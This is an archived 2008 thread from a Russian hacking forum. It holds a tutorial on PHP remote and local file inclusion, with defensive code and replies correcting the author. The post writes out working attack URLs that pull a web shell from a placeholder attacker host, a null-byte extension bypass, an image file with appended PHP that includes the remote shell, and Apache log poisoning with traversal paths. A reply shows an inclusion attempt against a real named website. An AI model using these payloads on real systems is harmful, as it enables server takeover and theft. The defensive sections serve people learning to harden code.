Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   PHP-include и способы защиты (https://forum.antichat.xyz/showthread.php?t=91807)

_Pantera_ 14.11.2008 18:25

PHP-include и способы защиты
 
Введение


Всем привет! В этой статье я постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад любой критике, а также постараюсь дорабатывать со временем данную статью!




Глобальный инклуд


Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On
Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
В PHP существуют четыре функции для включения файлов в сценарии PHP:

* include();
* include_once();
* require();
* require_once().


Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
PHP код:

<?php
    
if($_GET['page'].'.php')
    {
         include(
$_GET['page'].'.php');
    }
    else
    {
         include(
$file.'.php');
    }
?>

С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:

Код:

http://site.ru/index.php?page=http://hack.ru/shell
В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не
была определенна раннее и злоумышленник может выполнить удаленно php код:

Код:

http://site.ru/index.php?file=http://hack.ru/shell
Функция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу,
она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет -
происходит стандартное включение файла.
PHP код:

<?php
    
include_once($file.'.gif');
?>

В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'
Избавиться от расширения '.gif' можно двумя способами:
1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
Код:

http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) даже если magic_quotes_gpc = On
Код:

http://site.ru/index.php?file=http://hack.ru/shell.php?

Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в
сценарий независимо от местонахождения require() в сценарии.
PHP код:

<?php
    
require($file);
?>

Атака аналогична, но в этом случае расширение не приписывается:
Код:

http://site.ru/index.php?page=http://hack.ru/shell.php

Функция require_once() загружает файл в сценарий всего один раз.
PHP код:

<?php
    
require_once($file.'.php');
?>

Атака аналогична...




Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

PHP код:

<?php
    $f
=fopen("$file.php","r");
    
    while (!
feof($f))
    {
        
$s=fgets($f,255);
        echo 
$s;
    }
    
    
fclose($f);
?>

Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:

Код:

http://site.ru/index.php?file=http://hack.ru/shell
В итоге опять получаем веб-шелл.



Следующий пример - использование функции readfile()

PHP код:

<?php
    readfile
($file); 
?>

Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
В итоге опять получаем веб-шелл:

Код:

http://site.ru/index.php?file=http://hack.ru/shell

Теперь рассмотрим такой вариант:

PHP код:

<?php  
    
echo implode(""file($file));
?>

С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
Код:

http://site.ru/index.php?file=http://hack.ru/shell.php


Защита от глобальный инклудов

Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:

PHP код:

<?php

    
global $page;

    switch (
$page
    {
        case 
'':
        include (
"pages/main.php");
        break;
    
        case 
'index':
        include (
"pages/main.php");
        break;

        case 
'page1':
        include (
"pages/folder/page1.php");
        break;

        case 
'page2':
        include (
"pages/folder/page2.php");
        break;
    
        default:
        include (
"pages/hack.php");
        break;
    }

?>

Так же рекомендую отредактировать файл php.ini:

Цитата:

allow_url_include = Off //запрещаем удаленно инклудить файлы
allow_url_fopen = Off //запрещаем fopen открывать ссылки
register_globals = Off //отключим инициализацию глобальных переменных
safe_mode = On //включаем safe_mode (у хеккера не будет доступа к /etc/passwd и ему подобным)


Локальный инклуд

Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:

PHP код:

<?php
    
include("include/$file"); 
?>

Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/
Что же можно сделать?

Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:

Цитата:

яШяа JFIF  ` ` яЫ C  

 $.' ",#(7),01444'9=82<.342яЫ C 

2!!222222222222222222222222222222222222222222222 22222яА  6 6" яД   
яД µ  } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ѓ„…†‡?‰Љ’“”•–—˜™љўЈ¤ Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙК УФХЦЧШЩЪбвгдежзийкстуфхц шщъяД   
яД µ  w !1AQaq"2ЃB‘Ў±Б #3RрbrС
$4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstu vwxyz‚ѓ„…†‡?‰Љ’“”•–—˜™ љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖ ИЙКТУФХЦЧШЩЪвгдежзийктуф цчшщъяЪ   ? чъ(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ?яЩ
<?php include("http://hack.ru/shell.php"); ?>
Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка :)
Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
загружает код из одного файла в исполняемый файл. Вот пример:

Код:

http://www.site.com/index.php?include=../forum/images/shell.jpg
В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>



Логи апатча

Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы
естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:

Цитата:

/logs/error.log
/logs/access.log
/logs/error_log
/logs/access_log

/var/log/error_log
/var/log/access_log
/var/log/error.log
/var/log/access.log

/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log

/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log

/var/log/httpd/error.log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/access_log

/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error_log
/apache/logs/access_log

/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log

/home/www/logs/error_log
/home/www/logs/error.log
/home/www/logs/access_log
/home/www/logs/access.log
Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

Цитата:

GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Заголовок пакета записывается в логи апатча, расположенные по адресу:
Код:

Z:\usr\local\apache\logs\access.log
Тоесть в этот файлик записывается вот такая строчка:

Цитата:

127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
Думаю суть понятна. Нам остается его проинклудить:

Код:

http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
И получить веб-шелл :)




Защита от локальных инклудов


Вот небольшой примерчик, как можно надежно защититься:
PHP код:

<?php


    
function stripslashes_for_array(&$array
    {
        
reset($array);    
        while (list(
$key$val) = each($array)) 
        {
            if (
is_string($val)) $array[$key] = stripslashes($val);
            elseif (
is_array($val)) $array[$key] = stripslashes_for_array($val); 
        }
    return 
$array;
    }  

    if (!
get_magic_quotes_gpc())
    {
            
stripslashes_for_array($_POST);
            
stripslashes_for_array($_GET);
    }

    if(isset(
$_GET['file']))$file=$_GET['file']; 
    else 
    { 
        if(isset(
$_POST['file']))$file=$_POST['file']; 
        else 
$file=''
    } 

    
$file=str_replace('/','',$file); 
    
$file=str_replace('.','',$file); 
    if(!
file_exists("include".'/'.$file.'.php')||$file=='index'
    {
        
$file='news';
    }
    
    include(
"include".'/'.$file.'.php');
    
?>

И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.

***************************************

PS Все что описано в статье я проверял на локалхосте. Надеюсь каждый из нее черпанет чего-нибудь новенького и интересного. Спасибо за внимание :)

nerezus 14.11.2008 18:55

Гораздо проще выучить ООП. Нужда в подобных конструкциях отпадет.

Zinus 14.11.2008 19:02

TRUE PHP-injection - Вот эта статья мне нравится больше. Да и не пойму зачем писать по 100 раз об одном и том же..тема разжевана уже дальше некуда. Короче всё боян от начала до конца

[Raz0r] 14.11.2008 19:47

Цитата:

Функция include() вставляет php-код из одного файла, в файл на котором вызывается эта функция.
мягко говоря некорректное определение функции
Цитата:

Глобальный инклуд
принято называть удаленный инклуд (remote include)
Цитата:

Из за того,
что переменная page не была определена раннее, злоумышленник может провести атаку:
В твоем коде переменной page вообще нет, есть элемент массива $_GET['page'], который ранее никак не мог быть инициализирован
Цитата:

Переменная $file не
была определенна раннее и злоумышленик может выполнить удаленно php код:
а если register_globals=off ?
Цитата:

Для того что б его срезать используют
называемый в народе "ядовитый ноль" - %00, в php он обозначает окончание строки:
нуллбайт означает конец строки в C,C++ - но уж точно не в php
Цитата:

Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0
а если повнимательней?

Grey 14.11.2008 20:16

Муххахах:

Код:

http://site.ru/index.php?file=http://hack.ru/shell.php%00
И накой ***? если это возможно только при мейджик квотс = офф?

А вот так можно и при мейджик квотс = он:

Код:

http://site.ru/index.php?file=http://hack.ru/shell.php?
Не похек. Статьи должны писаться при полном понимание того, о чем пишешь, а не абы как. Меня вот сомнения терзают что ты практиковался с инклудами.

Код:

Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0
Жесть! ты хоть книгу по php открывал?

[Raz0r] 14.11.2008 20:39

Цитата:

К примеру ereg останавливается на нуллбайте. + PHP писался на C. => много всего из си перешло в php, включая синтаксис
ты хочешь сказать, что в PHP нужно указывать в конце каждой строки нуллбайт, как это делается в С?
http://ru.wikipedia.org/wiki/Нуль-терминированная_строка

[Raz0r] 14.11.2008 21:13

я не сомневаюсь, что так будет работать, но зачем называть переменную $GET_[cmd]? Тем более, что ее назначить нельзя будет, т.е если просто написать
GET /index.php/<?php system(dir); ?> HTTP/1.0
результат тот же будет

<?php system($_GET[cmd]) ?> неужели так сложно?

Jokester 14.11.2008 23:32

Цитата:

Сообщение от _Pantera_
Не в этом дело! можно конечно просто <?php system($_GET[cmd]; ?> Я написал system($GET_[cmd]=dir); оно идентично system(dir); Но ребята, все что вы написали - это такие мелочи!

Мда(с)

Судя по этому посту автор просто не понимает, что вы ему пытаетесь объяснить. Он просто "не в теме"

Мне например очень "понравилось" про шелл в картинке. Заливаем мы значит туда этот код : <?php @system($GET_[cmd] = "ls -la"); ?>,
Цитата:

Сообщение от _Pantera_
В результате, в файле index.php выполняется код <?php @system($GET_[cmd] = "ls -la"); ?>

так, и что-же мы будем делать дальше? :) Я так полагаю будем лить ещё одну картинку? :)

vladim1 15.11.2008 01:23

Цитата:

Теперь расмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.
http://autismcorner.com/Verhaal.php?dir=.&file=../Verhaal.php

А в током случае есть решение ???

Sleep 15.11.2008 06:30

2 Vadim1
_http://autismcorner.com/Verhaal.php?dir=http://SleepSleepSleep.narod.ru&language=nl&file=1.php там просто чтение файла
локальные файлы читать наврятли получится так как там папка /nl/ перед именем файла идёт, задается она переменной language но менять ее можно только на en,nl


Время: 15:05